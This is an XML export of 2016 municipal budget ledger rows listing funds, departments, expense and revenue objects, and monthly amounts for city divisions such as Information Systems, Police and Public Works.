<row _id="19841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561402.0</object><object_description>CLINICAL SUPERVISION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7385</total></row>
<row _id="19842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1163</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1163</total></row>
<row _id="19843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6500</total></row>
<row _id="19844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7300</total></row>
<row _id="19845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20851</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20851</total></row>
<row _id="19846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-150000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-150000</total></row>
<row _id="19848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>152319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>152319</total></row>
<row _id="19849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11066</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11066</total></row>
<row _id="19850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="19851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="19852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407509.0</object><object_description>CAPITAL GR-MOSIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2016</fiscal_year><july>-483000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-483000</total></row>
<row _id="19853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18391</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18391</total></row>
<row _id="19854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10608</total></row>
<row _id="19855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8659</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8659</total></row>
<row _id="19856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>34472</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>34472</total></row>
<row _id="19857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18166</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18166</total></row>
<row _id="19858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10990</total></row>
<row _id="19859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24033</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24033</total></row>
<row _id="19860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>106798</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>106798</total></row>
<row _id="19861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2081</total></row>
<row _id="19862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>192838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>192838</total></row>
<row _id="19863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2565</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2565</total></row>
<row _id="19864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12502</total></row>
<row _id="19865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21100</total></row>
<row _id="19866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3932</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3932</total></row>
<row _id="19867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>957</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>957</total></row>
<row _id="19868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14940</total></row>
<row _id="19869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>148218</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>148218</total></row>
<row _id="19870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3554</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3554</total></row>
<row _id="19871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1091</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1091</total></row>
<row _id="19872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401010.0</object><object_description>SWIM CENTER-WET WORKOUTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-19300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19300</total></row>
<row _id="19873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>36095</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36095</total></row>
<row _id="19874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>360978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>360978</total></row>
<row _id="19875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2308</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2308</total></row>
<row _id="19876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400980.0</object><object_description>SURF &amp; SAND APPLICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="19877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60000</total></row>
<row _id="19878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>131</total></row>
<row _id="19879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577190.0</object><object_description>REPAYMENT OF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>630349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>630349</total></row>
<row _id="19880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="19881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7019</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7019</total></row>
<row _id="19882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2229</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2229</total></row>
<row _id="19883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1343</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1343</total></row>
<row _id="19884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="19885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10200</total></row>
<row _id="19886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566960.0</object><object_description>PRISONER RETENTION &amp; TRANSPORT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>134648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134648</total></row>
<row _id="19887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="19888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1028685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1028685</total></row>
<row _id="19889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1665</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1665</total></row>
